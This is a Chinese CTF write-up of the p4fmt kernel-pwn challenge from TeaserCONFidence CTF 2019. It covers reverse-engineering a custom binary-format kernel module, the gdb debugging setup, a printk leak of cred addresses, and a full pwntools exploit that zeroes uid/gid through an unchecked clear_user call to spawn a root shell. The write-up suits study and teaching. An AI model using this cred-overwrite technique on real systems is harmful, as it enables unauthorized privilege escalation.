TeaserCONFidence CTF-p4fmt-内核pwn基础分析

Kirin / 2019-03-31 10:20:00 / 浏览数 3682 安全技术 CTF 顶(0) 踩(0)

---

p4举办的一场比赛
主要分析一下其中的一道Kernel PWN
题目不算难，但很适合内核入门

p4fmt

Analyze

拿到题目，解压后一共三个文件：

```
bzImage#■■■■
initramfs.cpio.gz#■■■■
run.sh#qemu■■■■
```

qemu启动脚本启动后看到：

```
====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.
```

根据信息，是一道kernel pwn，flag在根目录，但是只有root可读，需要我们提升权限
且内部定义了一种可执行文件格式
查看文件系统的init脚本：

```
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
insmod  /p4fmt.ko

sleep 2

ln -s /dev/console /dev/ttyS0

cat <<EOF
====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

EOF

setsid cttyhack su pwn
poweroff -f
```

注意两个地方：

```
insmod  /p4fmt.ko   ■■■p4fmt■■
setsid cttyhack su pwn  ■pwn■■■■
```

首先提取p4fmt模块binary：

```
gunzip ./initramfs.cpio.gz
cpio -idmv < initramfs.cpio
```

拿到文件后，ida分析
看到其定义的p4fmt可执行文件格式以及载入过程：

```
__int64 __fastcall load_p4_binary(__int64 a1)
{
 signed __int64 v1; // rcx
 _BYTE *v2; // rsi
 __int64 v3; // r12
 __int64 v4; // rbx
 _BYTE *v5; // rdi
 unsigned __int64 v6; // r14
 bool v7; // cf
 bool v8; // zf
 __int64 v9; // r13
 unsigned int v10; // ebp
 char v12; // al
 signed __int64 v13; // r12
 signed __int64 v14; // rsi
 unsigned __int64 v15; // rax
 map_info *v16; // r12
 __int64 v17; // ST00_8
 signed __int64 v18; // r14
 unsigned __int64 v19; // r15
 __int64 v20; // r9
 __int64 v21; // rdx
 __int64 v22; // rcx
 __int64 v23; // r8

 v1 = 2LL;
 v2 = &fmt_header;
 v3 = a1 + 0x48;
 v4 = a1;
 v5 = (_BYTE *)(a1 + 0x48);
 v6 = __readgsqword((unsigned __int64)&current_task);
 v7 = 0;
 v8 = 0;
 v9 = *(_QWORD *)(v6 + 0x2A0);
 do                                            // cmp headers
 {
   if ( !v1 )
     break;
   v7 = *v2 < *v5;
   v8 = *v2++ == *v5++;
   --v1;
 }
 while ( v8 );
 if ( (!v7 && !v8) != v7 )
   return (unsigned int)-8;
 JUMPOUT(*(_BYTE *)(v4 + 0x4A), 0, load_p4_binary_cold_2);// cmp \x00->version
 if ( *(_BYTE *)(v4 + 0x4B) > 1u )
   return (unsigned int)-22;
 v10 = flush_old_exec(v4, v2);                 // clear the environment
 if ( !v10 )
 {
   *(_DWORD *)(v6 + 0x80) = 0x800000;
   setup_new_exec(v4);
   v12 = *(_BYTE *)(v4 + 0x4B);
   if ( v12 )                                  // type=1
   {
     if ( v12 != 1 )
       return (unsigned int)-22;
     if ( *(_DWORD *)(v4 + 0x4C) )             // map_time
```

```
      {
        v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
        do
        {
          v17 = v16->load_addr;
          v18 = v16->load_addr & 7;
          v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
          printk(
            "vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
            v19,
            v16->length,
            v16->offset,
            v18);
          v20 = v16->offset;
          v21 = v16->length;
          if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }
          else
          {
            vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
          }
          ++v10;
          ++v16;
        }
        while ( *(_DWORD *)(v4 + 0x4C) > v10 );
      }
    }
    else                                        //type=0
    {
      v13 = -12LL;
      if ( (unsigned __int64)vm_mmap(
                               *(_QWORD *)(v4 + 8),
                               *(_QWORD *)(v4 + 80),
                               4096LL,
                               *(_QWORD *)(v4 + 80) & 7LL,
                               2LL,
                               0LL) > 0xFFFFFFFFFFFFF000LL )
      {
LABEL_12:
        install_exec_creds(v4);
        set_binfmt(&p4format);
        v14 = 0x7FFFFFFFF000LL;
        v15 = __readgsqword((unsigned __int64)&current_task);
        if ( *(_QWORD *)v15 & 0x20000000 )
        {
          v14 = 0xC0000000LL;
          if ( !(*(_BYTE *)(v15 + 131) & 8) )
            v14 = 0xFFFFE000LL;
        }
        v10 = setup_arg_pages(v4, v14, 0LL);
        if ( !v10 )
        {
          finalize_exec(v4);
          start_thread(
            v9 + 16216,
            v13,
            *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x100) + 0x28LL));
        }
        return v10;
      }
    }
    v13 = *(_QWORD *)(v4 + 88);
    goto LABEL_12;
  }
  return v10;
```

```
}
```

可以看到：
首先检验文件头是否为"P4"以及version是否为0
而后调用一次flush_old_exec清理空间
而后通过version后一字节判断type来确定加载方式
注意到第一种加载方式：

```
if ( v12 )                                  // type=1
   {
     if ( v12 != 1 )
       return (unsigned int)-22;
     if ( *(_DWORD *)(v4 + 0x4C) )             // map_time
     {
       v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
       do
       {
         v17 = v16->load_addr;
         v18 = v16->load_addr & 7;
         v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
         printk(
           "vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
           v19,
           v16->length,
           v16->offset,
           v18);
         v20 = v16->offset;
         v21 = v16->length;
         if ( v17 & 8 )
         {
           vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
           printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
           _clear_user(v16->load_addr, v16->length);
         }
         else
         {
           vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
         }
         ++v10;
         ++v16;
       }
       while ( *(_DWORD *)(v4 + 0x4C) > v10 );
     }
   }
```

首先会通过type后一字节决定操作次数
而后通过一个map_info结构体来调用vm_mmap和clear_user
其中会把调用参数通过printk输出
map_info:

```
00000000 map_info        struc ; (sizeof=0x18, mappedto_3)
00000000 load_addr       dq ?
00000008 length          dq ?
00000010 offset          dq ?
00000018 map_info        ends
```

同时可以看到：

```
LABEL_12:
       install_exec_creds(v4);
       set_binfmt(&p4format);
       v14 = 0x7FFFFFFFF000LL;
       v15 = __readgsqword((unsigned __int64)&current_task);
       if ( *(_QWORD *)v15 & 0x20000000 )
       {
         v14 = 0xC0000000LL;
         if ( !(*(_BYTE *)(v15 + 131) & 8) )
           v14 = 0xFFFFE000LL;
       }
       v10 = setup_arg_pages(v4, v14, 0LL);
```

```
      if ( !v10 )
      {
        finalize_exec(v4);
        start_thread(
          v9 + 16216,
          v13,
          *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x100) + 0x28LL));
      }
      return v10;
    }
  }
  v13 = *(_QWORD *)(v4 + 0x58);
  goto LABEL_12;
```

程序会以文件偏移0x58-0x48=0x10处的值作为程序入口点
而后执行：install_exec_creds:

```
void install_exec_creds(struct linux_binprm *bprm)
{
   security_bprm_committing_creds(bprm);

   commit_creds(bprm->cred);
   bprm->cred = NULL;

   if (get_dumpable(current->mm) != SUID_DUMP_USER)
       perf_event_exit_task(current);

   security_bprm_committed_creds(bprm);
   mutex_unlock(&current->signal->cred_guard_mutex);
}
```

所以可执行文件整体格式:

```
"P4\x00"
(char)type
(int)map_info_num
(long)map_info_offset
(long)entry
((map_info struct)map_info)*map_info_num
the_code_will_exec
```

因此我们需要想办法使我们的最后code运行在root身份下
此时code只需执行shell或者直接读取/flag操作即可
注意到加载过程中根据map_info程序会有clear_user操作：

```
if ( v17 & 8 )
         {
           vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
           printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
           _clear_user(v16->load_addr, v16->length);
         }
```

但是程序并没有检测此处指针
根据前面的 install_exec_creds，程序会根据commit_creds(bprm->cred)来设置线程权限
因此我们可以传入clear_user一个指针指向此cred结构体特定位置来覆盖uid和gid来提升线程权限,而后commit_creds(bprm->cred)即会根据我们覆盖后的fake_cred来设置
关于linux_binprm：

```
struct linux_binprm {
 char buf[BINPRM_BUF_SIZE];
#ifdef CONFIG_MMU
 struct vm_area_struct *vma;
 unsigned long vma_pages;
#else
# define MAX_ARG_PAGES 32
 struct page *page[MAX_ARG_PAGES];
#endif
 struct mm_struct *mm;
 unsigned long p; /* current top of mem */
 unsigned long argmin; /* rlimit marker for copy_strings() */
 unsigned int
```

```
   /*
   * True after the bprm_set_creds hook has been called once
   * (multiple calls can be made via prepare_binprm() for
   * binfmt_script/misc).
   */
   called_set_creds:1,
   /*
   * True if most recent call to the commoncaps bprm_set_creds
   * hook (due to multiple prepare_binprm() calls from the
   * binfmt_script/misc handlers) resulted in elevated
   * privileges.
   */
   cap_elevated:1,
   /*
   * Set by bprm_set_creds hook to indicate a privilege-gaining
   * exec has happened. Used to sanitize execution environment
  * and to set AT_SECURE auxv for glibc.
   */
   secureexec:1;
#ifdef __alpha__
 unsigned int taso:1;
#endif
 unsigned int recursion_depth; /* only for search_binary_handler() */
 struct file * file;
struct cred *cred; /* new credentials */
 int unsafe;   /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
 unsigned int per_clear; /* bits to clear in current-&gt;personality */
 int argc, envc;
 const char * filename; /* Name of binary as seen by procps */
 const char * interp; /* Name of the binary really executed. Most
  of the time same as filename, but could be
  different for binfmt_{misc,script} */
 unsigned interp_flags;
 unsigned interp_data;
 unsigned long loader, exec;
 struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */
} __randomize_layout;
```

关于cred：

```
struct cred {
   atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
   atomic_t    subscribers;    /* number of processes subscribed */
   void        *put_addr;
   unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
   kuid_t      uid;        /* real UID of the task */
   kgid_t      gid;        /* real GID of the task */
   kuid_t      suid;       /* saved UID of the task */
   kgid_t      sgid;       /* saved GID of the task */
   kuid_t      euid;       /* effective UID of the task */
   kgid_t      egid;       /* effective GID of the task */
   kuid_t      fsuid;      /* UID for VFS ops */
   kgid_t      fsgid;      /* GID for VFS ops */
   unsigned    securebits; /* SUID-less security management */
   kernel_cap_t    cap_inheritable; /* caps our children can inherit */
   kernel_cap_t    cap_permitted;  /* caps we're permitted */
   kernel_cap_t    cap_effective;  /* caps we can actually use */
   kernel_cap_t    cap_bset;   /* capability bounding set */
   kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
   unsigned char   jit_keyring;    /* default keyring to attach requested
                    * keys to */
   struct key __rcu *session_keyring; /* keyring inherited over fork */
   struct key  *process_keyring; /* keyring private to this process */
   struct key  *thread_keyring; /* keyring private to this thread */
```

```
   struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
   void        *security;  /* subjective LSM security */
#endif
   struct user_struct *user;   /* real user ID subscription */
   struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
   struct group_info *group_info;  /* supplementary groups for euid/fsgid */
   struct rcu_head rcu;        /* RCU deletion hook */
};
```

cred是每个线程记录本线程权限的结构体
当我们将uid和gid覆盖为0即可使此线程获得root权限
(root运行下uid和gid皆为0)

Debug

关于调试和leak cred
首先为了便于调试，将身份改为root，修改init脚本并重新打包文件系统：

```
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
insmod  /p4fmt.ko

sleep 2

ln -s /dev/console /dev/ttyS0

cat <<EOF
====================
p4fmt
====================

Kernel challs are always a bit painful.
No internet access, no SSH, no file copying.

You're stuck with copy pasting base64'd (sometimes static) ELFs.
But what if there was another solution?

We've created a lightweight, simple binary format for your
pwning pleasure. It's time to prove your skills.

EOF

setsid cttyhack su root
poweroff -f
```

而后重新打包文件系统：

```
find . | cpio -o -H  newc |gzip -9 > ../kirin.cpio.gz
```

而后从bzImage提取vmlinux便于调试：

```
#!/bin/sh
check_vmlinux()
{
   # Use readelf to check if it's a valid ELF
   # TODO: find a better to way to check that it's really vmlinux
   #       and not just an elf
   readelf -h $1 > /dev/null 2>&1 || return 1

   cat $1
   exit 0
}

try_decompress()
{
   # The obscure use of the "tr" filter is to work around older versions of
```

```
   # "grep" that report the byte offset of the line instead of the pattern.

   # Try to find the header ($1) and decompress from here
   for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
   do
       pos=${pos%%:*}
       tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
       check_vmlinux $tmp
   done
}

# Check invocation:
me=${0##*/}
img=$1
if  [ $# -ne 1 -o ! -s "$img" ]
then
   echo "Usage: $me <kernel-image>" >&2
   exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2
```

运行：

```
kirin.sh  ./bzImage  > ./vmlinux
```

最后更改qemu启动脚本以便调试内核：

```
#!/bin/bash
qemu-system-x86_64 -s  -kernel ./bzImage \
       -initrd ./kirin.cpio.gz \
       -nographic \
       -append "console=ttyS0 nokaslr" \
#-s:1234[redacted]
#nokaslr[redacted]
```

运行gdb连接即可：

```
/ # whoami
root
/ # cat /proc/modules
p4fmt 16384 0 - Live 0xffffffffc0000000 (O)
qemu[redacted]p4fmt[redacted]
[redacted]gdb[redacted]
gdb ./vmlinux
target remote 127.0.0.1:1234
add-symbol-file ./p4fmt.ko 0xffffffffc0000000
```

关于leak：
在load_p4_binary调用install_exec_creds时下断点

```
b *0xffffffffc00000af
```

而后随意写一个满足上面格式的程序运行，gdb断在install_exec_creds以便查看cred相对bprm的偏移
实际上可以直接查看汇编：

```
x/10i 0xffffffffc00000af
pwndbg> x/10i 0xffffffffc00000af
  0xffffffffc00000af <load_p4_binary+175>: call   0xffffffff81189ec0
  0xffffffffc00000b4 <load_p4_binary+180>: mov    rdi,0xffffffffc0002000
  0xffffffffc00000bb <load_p4_binary+187>: call   0xffffffff8118a130
  0xffffffffc00000c0 <load_p4_binary+192>: movabs rsi,0x7ffffffff000
  0xffffffffc00000ca <load_p4_binary+202>: mov    rax,QWORD PTR gs:0x14d40
  0xffffffffc00000d3 <load_p4_binary+211>: mov    rdx,QWORD PTR [rax]
  0xffffffffc00000d6 <load_p4_binary+214>: test   edx,0x20000000
  0xffffffffc00000dc <load_p4_binary+220>: je     0xffffffffc00000f3 <load_p4_binary+243>
  0xffffffffc00000de <load_p4_binary+222>: test   BYTE PTR [rax+0x83],0x8
  0xffffffffc00000e5 <load_p4_binary+229>: mov    esi,0xc0000000
```

跟进0xffffffff81189ec0：

```
pwndbg> x/10i 0xffffffff81189ec0
=> 0xffffffff81189ec0:  push   rbx
  0xffffffff81189ec1:  mov    rbx,rdi
  0xffffffff81189ec4:  call   0xffffffff81297aa0
  0xffffffff81189ec9:  mov    rdi,QWORD PTR [rbx+0xe0]
  0xffffffff81189ed0:  call   0xffffffff81073d30
  0xffffffff81189ed5:  mov    QWORD PTR [rbx+0xe0],0x0
  0xffffffff81189ee0:  mov    rdi,QWORD PTR gs:0x14d40
  0xffffffff81189ee9:  mov    rax,QWORD PTR [rdi+0x100]
  0xffffffff81189ef0:  mov    rax,QWORD PTR [rax+0x148]
  0xffffffff81189ef7:  and    eax,0x3
```

可以看到偏移位置为0xe0
随意运行一个调试:

```
pwndbg> x/30xg 0xffff8880077b2400
0xffff8880077b2400: 0xffff888007530020  0xffff8880077d7280
0xffff8880077b2410: 0x0000000000000000  0xffff888007530020
0xffff8880077b2420: 0x0000000000000000  0x00007fffffdff030
0xffff8880077b2430: 0x0000000000000000  0x0000000000000000
0xffff8880077b2440: 0x0000000600000000  0x0000000101003450
0xffff8880077b2450: 0x0000000000000090  0xffffffff89262008
0xffff8880077b2460: 0x0000000000002000  0x0000000000000000
0xffff8880077b2470: 0x6262626262626262  0x6161616161616161
0xffff8880077b2480: 0x6161616161616161  0x6161616161616161
0xffff8880077b2490: 0x6161616161616161  0x6161616161616161
0xffff8880077b24a0: 0x6161616161616161  0x6161616161616161
0xffff8880077b24b0: 0x6161616161616161  0x6161616161616161
0xffff8880077b24c0: 0x6161616161616161  0x00007ffffffefae
0xffff8880077b24d0: 0x0000000100000001  0x0000000000000000
0xffff8880077b24e0: 0xffff88800756c3c0  0x0000000000000000
pwndbg> x/20xg 0xffff88800756c3c0
0xffff88800756c3c0: 0x0000000000000000  0xffff88800770f440
0xffff88800756c3d0: 0x0000003ffffffff  0x0000000000000000
0xffff88800756c3e0: 0x0000000000000000  0x0000000000000000
0xffff88800756c3f0: 0xffffffff00000000  0x000000000000003f
0xffff88800756c400: 0x0000003ffffffff  0x0000000000000000
0xffff88800756c410: 0x0000000000000000  0x0000000000000000
0xffff88800756c420: 0x0000000000000000  0xffffffff81c38280
0xffff88800756c430: 0x0000000000000000  0x0000000000000000
0xffff88800756c440: 0x0000000000000001  0x0000000000000000
0xffff88800756c450: 0x0000000000000000  0x0000000000000000
```

可以看到偏移0xe0位置为0xffff88800756c3c0
而0xffff88800756c3c0下对应uid和gid位置都为0(debug时是root身份)
同而注意到程序会打印vmmap和clear_user的参数
因此可以将map_info_offset指向这里来vmmap(偏移位置为0xe0，即距离文件头偏移：0xe0-0x48=0x98位置，但是load_addr有位运算操作再传参并输出，因此这里选择
这里注意，开启内核地址随机化时cred地址线程间并不相同
但是真实环境下可以观察到cred地址会是一组地址的循环,因此可以预估下次程序启动时cred地址从而覆盖掉uid和gid完成提权
leak:

```
from pwn import  *

payload = ""
payload += "P4"
payload += p8(0)# version
payload += p8(1)# type
payload += p32(1)# map_count
payload += p64(0x90)#map_info_offset
payload += p64(0)     # entry
payload += "kirin"
print payload.encode("base64")
#output=UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=
```

```
echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin
chmod +x  /tmp/kirin
/tmp/kirin
```

可以看到cred地址规律：

```
/tmp $ ./kirin
[  310.536033] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[  310.538726] kirin[559]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  310.543394] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  311.480867] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[  311.483814] kirin[560]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  311.486224] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  312.793369] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[  312.797228] kirin[561]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  312.804765] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  314.042323] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[  314.045054] kirin[562]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  314.047779] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  315.349773] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[  315.352563] kirin[563]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  315.357168] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  316.229283] vm_mmap(load_addr=0x0, length=0xffff90e845d72300, offset=0x0, prot=0)
[  316.232561] kirin[564]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  316.234984] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  316.954076] vm_mmap(load_addr=0x0, length=0xffff90e845d729c0, offset=0x0, prot=0)
[  316.957635] kirin[565]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  316.960276] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  317.663571] vm_mmap(load_addr=0x0, length=0xffff90e845d72cc0, offset=0x0, prot=0)
[  317.667293] kirin[566]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  317.669847] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  318.516134] vm_mmap(load_addr=0x0, length=0xffff90e845d72b40, offset=0x0, prot=0)
[  318.518924] kirin[567]: segfault at 0 ip 0000000000000000 sp 00007fffffffdf91 error 14
[  318.522188] Code: Bad RIP value.
Segmentation fault
/tmp $ ./kirin
[  319.341463] vm_mmap(load_addr=0x0, length=0xffff90e845d72840, offset=0x0, prot=0)
[  319.343774] kirin[568]: segfault at 0 ip 0000000000000000 sp 00007fffffffef91 error 14
[  319.346129] Code: Bad RIP value.
Segmentation fault
/tmp $
```

可以看到每五个一个循环(至少在短时间内是这样)
所以我们完全可以leak出一次循环后猜测下次cred位置，而后提权到root拿到flag
但是我在编写exp时遇到了问题
最初想法是leak出五个地址，而后利用循环预测
但是其实一段时间之后，这五个地址会变化，不过也会循环，这样虽然可以把所有可能情况列举生成exp，然后再预测，不过有点太麻烦
所以最终选择leak处一个地址后直接循环此exp，减小中间的时间(我并不确定内核的这种地址循环是时间还是轮数问题)，很大地提高了命中率(约为100%)

EXP

```
from pwn import *

#context.log_level="debug"

def get_payload(addr):
   payload="P4"
   payload+=p8(0)#version
   payload+=p8(1)#type
   payload+=p32(2)#map_info_num
   payload+=p64(0x18)#map_info_offset
   payload+=p64(0x400048)#entry
   payload+=p64(0x400000|7)#port=7->rwx
   payload+=p64(0x1000)#length
   payload+=p64(0)#offset
   payload+=p64((addr|8)+0x10)#cred
   payload+=p64(0x48)#overwrite_length
   payload+=p64(0)
   payload+=asm(shellcraft.amd64.sh(),arch="amd64")
   return payload.encode("base64").strip()
p=process("./run.sh")
p.sendlineafter("/ $ ",'echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin; chmod +x /tmp/kirin')
p.sendlineafter("/ $ ","/tmp/kirin")
p.recvuntil("length=")
addr=int(p.recvuntil(",")[:-1],16)
print hex(addr)
exp=get_payload(addr)
cmd='echo -n "%s" | base64 -d > /tmp/exp; chmod +x /tmp/exp' %exp
p.sendlineafter("/ $ ",cmd)
p.recvuntil("$ ")
for i in range(10):
   p.sendline("/tmp/exp")
   p.recvuntil("/ ",timeout=1)
   ans=p.recv(2)
   print ans[0]
   if ans[0]=='#':
       print "Get Shell Successfully"
       break
   if i==9:
       print "Failed this time,please try again!"
p.interactive()
```


上一篇：Paypal钓鱼邮件分析 下一篇：RemTeam攻击技巧和安全防御

目录